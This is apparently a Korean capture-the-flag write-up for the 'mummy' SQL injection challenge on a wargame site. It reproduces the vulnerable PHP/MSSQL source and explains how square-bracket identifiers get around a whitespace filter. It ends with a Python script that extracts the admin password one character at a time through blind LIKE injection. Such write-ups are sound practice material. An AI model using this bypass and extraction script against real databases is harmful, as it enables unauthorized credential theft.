mummy-writeup

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("mummy");
  if(preg_match('/master|sys|information|;|\(|\//i', $_GET['query'])) exit("No Hack ~_~");
  for($i=0;$i<strlen($_GET['query']);$i++) if(ord($_GET['query'][$i]) <= 32) exit("%01~%20 can used as whitespace at mssql");
  $query = "select".$_GET['query'];
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result[0]) echo "<h2>Hello anonymous</h2>";

  $query = "select pw from prob_mummy where id='admin'";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("mummy");
  highlight_file(__FILE__);
?>

 

  for($i=0;$i<strlen($_GET['query']);$i++) if(ord($_GET['query'][$i]) <= 32) exit("%01~%20 can used as whitespace at mssql");

해당 줄을 보면 whitespace가 막혀 있다... 그래서 mssql 구분 식별자를 찾아야한다.

 

SQL Server는 식별자가 대괄호([ ])로 구분되는 것을 허용합니다. 대괄호로 묶인 식별자는 QUOTED_IDENTIFIER의 설정에 관계없이 항상 사용될 수 있습니다. 자세한 내용은 구분 식별자를 참조하십시오

출처: https://kunoo.tistory.com/entry/MS-SQL-SQL의-ANSI-표준-옵션-인자들 [Kunoo]

[MS-SQL] SQL의 ANSI 표준 옵션 인자들

 

해당 티스토리에 위와 같은 내용이 있었다! []를 사용하여 코드를 짜보았다.

 

import re
import requests
import time

flag = ''
test='0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
length= 0
session =dict(PHPSESSID="자신의 PHPSESSID")
for i in range (1,20):
        for j in test:
                        r=requests.post("https://los.rubiya.kr/chall/mummy_2e13c2a4483d845ce2d37f7c910f0f83.php?query=[pw]from[prob_mummy]where[id]='admin'and[pw]like'"+flag+j+"%'",cookies=session)
                        if "Hello anonymous" in r.text:
                                flag=flag+j
                                print("finding pw: "+flag)
                                break
print("pw "+flag)